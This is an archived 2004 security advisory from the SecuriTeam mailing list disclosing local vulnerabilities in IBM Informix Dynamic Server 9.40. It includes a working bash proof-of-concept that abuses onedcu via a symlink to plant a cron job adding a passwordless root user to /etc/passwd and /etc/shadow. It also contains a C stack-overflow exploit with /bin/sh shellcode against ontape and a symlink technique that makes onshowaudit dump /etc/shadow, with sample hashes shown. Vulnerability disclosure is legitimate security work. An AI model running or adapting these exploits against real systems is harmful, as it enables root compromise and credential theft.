

[UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0090.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/29/04

To: list@securiteam.com

Date: 29 Jan 2004 19:12:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Local Vulnerabilities In IBM Informix Dynamic Server

SUMMARY

<<http://www-3.ibm.com/software/data/informix/>> Informix Dynamic Server is "a best-of-breed online transaction processing database for enterprise and workgroup computing. IDS is built on Dynamic Scalable Architecture that uses hardware resources more efficiently and minimizes hardware requirements."

There are several local security issues with IBM's Informix IDS ranging from simple write permissions checking errors to a stack based overflow.

DETAILS

Vulnerable Systems:

* IBM Informix IDS version 9.40

Write Permission Bug

There is a write permissions checking error in the onedcu binary that can be used by local users with exec permissions over onedcu to write any file owned by root with mode 666. The executable is installed with 6755 perm and owned by root.informix in a default installation. Since the binary

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

doesn't drop privileges before writing the log it is possible to overwrite or create files owned by root (such as .rhosts, cron files, etc.) using a link injection.

A proof-of-concept demonstration:

```
#!/bin/bash

ONEDCU=/home/informix-9.40/bin/onedcu
CRONFILE=/etc/cron.hourly/pakito
USER=pakito
DIR=./trash

export INFORMIXDIR=/home/informix-9.40/
export ONCONFIG=onconfig.std

if [ -d $DIR ]; then
    echo Trash directory already created
else
    mkdir $DIR
fi

cd $DIR
if [ -f ./"\001" ]; then
    echo Link Already Created
else
    ln -s $CRONFILE `echo -e "\001"`
fi

umask 000
$ONEDCU &
kill -9 `pidof $ONEDCU`

echo "echo "#!/bin/bash" > $CRONFILE
echo "echo "$USER:x:0:0:/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7::" >> /etc/shadow" >> $CRONFILE
echo " "
echo " This vulnerability was researched by Juan Manuel Pascual Escriba"
echo " 08/08/2003 Barcelona – Spain pask@open3s.com"
echo " "
echo " must wait until cron execute $CRONFILE and then exec su pakito"
```

Stack Buffer Overflow

The ONCONFIG environment variable is not handled properly and bounds checking is not done when reading it. Therefore, a value longer than 495 will result in a buffer overflow condition in the 'ontape' binary.

Example:

```
$ export ONCONFIG=`perl -e 'print "A"x495`
$ ./ontape
WARNING: Cannot access configuration file $INFORMIXDIR/etc/$ONCONFIG.
```

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

Segmentation fault

```
[pask@dimoniet bin]$ gdb ./ontape
(gdb) r
WARNING: Cannot access configuration file $INFORMIXDIR/etc/$ONCONFIG.
Segmentation fault
```

Performing a simple test using GDB gives the following result:

```
(gdb) info reg
eax 0xffffffff -1
ecx 0x40083580 1074279808
edx 0x46 70
ebx 0x1 1
esp 0xbfff74a0 0xbfff74a0
ebp 0x41414141 0x41414141
esi 0xbfff74cc -1073777460
edi 0x0 0
eip 0x41414141 0x41414141
```

This buffer overflow condition can be used to achieve root privileges. Any user with exec permission over ontape could achieve root privileges. In a default installation only users with DSA privileges can exec this binary.

A proof-of-concept exploit code:

```
/* Exploit informix 8or user with DSA privileges -> root in a Informix
IDSv9.40. it seems to
exist a correct environment variable size checking for INFORMIXDIR (old
security nightmare in
other versions) but forgot to check ONCONFIG env vble size.
```

We can found similar ONCONFIG overflows, but In other binaries in this installation exists a setuid32(0x1f7) (the uid for informix user in my installation) before the bof occurs. Unfortunately not in this binary

Vulnerability researched by Juan Manuel Pascual Escriba
08/08/2003 Barcelona – Spain pask@open3s.com
<http://www.open3s.com>

```
*/
```

```
#include <stdio.h>
```

```
char sc[]=
"\x29\xc0"
"\x29\xdb"
"\x29\xc9"
```

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

```
"\x29\xd2"  
"\xb0\xa4"  
"\xcd\x80"  
"\xeb\x1f"  
"\x5e"  
"\x89\x76\x08"  
"\x31\xc0"  
"\x88\x46\x07"  
"\x89\x46\x0c"  
"\xb0\x0b"  
"\x89\xf3"  
"\x8d\x4e\x08"  
"\x8d\x56\x0c"  
"\xcd\x80"  
"\x31\xdb"  
"\x89\xd8"  
"\x40"  
"\xcd\x80"  
"\xe8\xdc\xff\xff\xff"  
"/bin/sh";
```

```
#define STACK_TOP_X86 0xC0000000  
#define ALG_MASK 0xffffffff4  
#define ADDR 560  
#define DFL_ALG 4  
#define INFORMIXDIR "/home/informix-9.40/"  

```

```
int main(int arc, char **arv){  
    char *argv[2];  
    char *envp[3];  
    unsigned long sc_address, ba=0;  
    unsigned char alg = DFL_ALG;  
    unsigned long *p;  
    unsigned char *q;  
    unsigned int i;  
  
    /* calculate where in the stack will be our shellcode */  
  
    sc_address = STACK_TOP_X86 - 4 - strlen(ONTAPE) - sizeof(sc) - 1;  
    printf("shellcode address = 0x%X\n",sc_address);  
  
    /* add back pad to align sc if necessary */  
  
    if( (sc_address & ALG_MASK) != sc_address ) {  
        ba = sc_address - (sc_address & ALG_MASK);  
        printf("adding %d trailing bytes to backward align  
hellcode to 0x%X\n", ba,  
sc_address & ALG_MASK);  
        sc_address = STACK_TOP_X86 - 4 - strlen(ONTAPE) -  
sizeof(sc) - ba - 1;
```

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

```
printf("new shellcode address = 0x%X\n",sc_address);
}

/* craft zhellcoded environment */
envp[2] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
q = envp[2];
strcpy(q, "pete=");
q += strlen("pete=");
memcpy(q,sc,sizeof(sc));
q += sizeof(sc)-1;
memset(q,'A',ba);
q += ba;
*q = 0;

/* build overflowing arvg */

alg = DFL_ALG;

printf("using alignment = %d in overflow buffer\n",alg);
if(arv[2]) alg = atoi(arv[2]);

argv[0] = ONTAPE;
argv[1] = 0;

/* finalizamos argv[] aqui el overflow esta en una variable de entorno
llamada ONCONFIG */

envp[0] = (char*)malloc(ADDR*sizeof(unsigned
long)+alg+1+strlen("ONCONFIG="));
q = envp[0];
strcpy(q, "ONCONFIG=");
q += strlen ("ONCONFIG=");
memset(q,'A',alg);
q += alg -1;
p=(unsigned long*)(envp[0]+alg+strlen("ONCONFIG="));
for(i=0;i< ADDR;i++) {
    *p = sc_address;
    p++;
};
*p = 0;
envp[1] = "INFORMIXDIR=/home/informix-9.40";
envp[3] = 0;

printf("executing %s ...\n\n",argv[0]);
execve(argv[0],argv,envp);
}
```

System Files Reading Vulnerability

An Informix user or any user with AAO priviledges can execute 'onshowaudit'. This binary is owned by root.informix with 6755 permission.

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

Near the end of its execution thread onshowaudit tries to read some files in the /tmp directory without dropping any privileges. It's easy for an intruder to make a link to /etc/shadow or /root/.ssh/authorized_keys or other such important files and read them:

```
16231 open("/tmp/.0", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
16231 open("/tmp/.1", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
16231 open("/tmp/.2", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
...
16231 open("/tmp/.97", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
16231 open("/tmp/.98", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
16231 write(2, "Cannot open file \n", 18) = 18
```

It is then trivial to create a link in the following manner:

```
$ ls -alc /etc/shadow
-r----- 1 root root 1020 Aug 10 01:59 /etc/shadow
$ ln -s /etc/shadow .0
$ /home/informix-9.40/bin/onshowaudit
```

And the output given is the shadow file:

```
...
aaa:!:11635:0:99999:7:::
pask:$1$4xnwc%eu$DfkZv8cTe6wywzom0:11938:0:99999:7:::
bbb:!:11636:0:99999:7:::
cccc:!:11636:0:99999:7:::
dddd:!:11647:0:99999:7:::
aaaaaa:!:11806:0:99999:7:::
wwwwww:!:11833:0:99999:7:::
zzz:!:12027:0:99999:7:::
informix:$1$G8jXuut9eWslIDsgwQb1KcPcfA/:12272:0:99999:7:::
```

Vendor Status:

IBM were informed of these issues at August 11th, 2003 and the issues were dealt with in a proper manner.

Workaround:

See: <<http://www-1.ibm.com/support/docview.wss?uid=swg21153336>>
<http://www-1.ibm.com/support/docview.wss?uid=swg21153336>.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pask@open3s.com>> Juan Manuel Pascual Escriba

The original article can be found at:

Securiteam: [UNIX] Local Vulnerabilities In IBM Informix Dynamic Server

<<http://www-1.ibm.com/support/docview.wss?uid=swg21153336>>
<http://www-1.ibm.com/support/docview.wss?uid=swg21153336>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.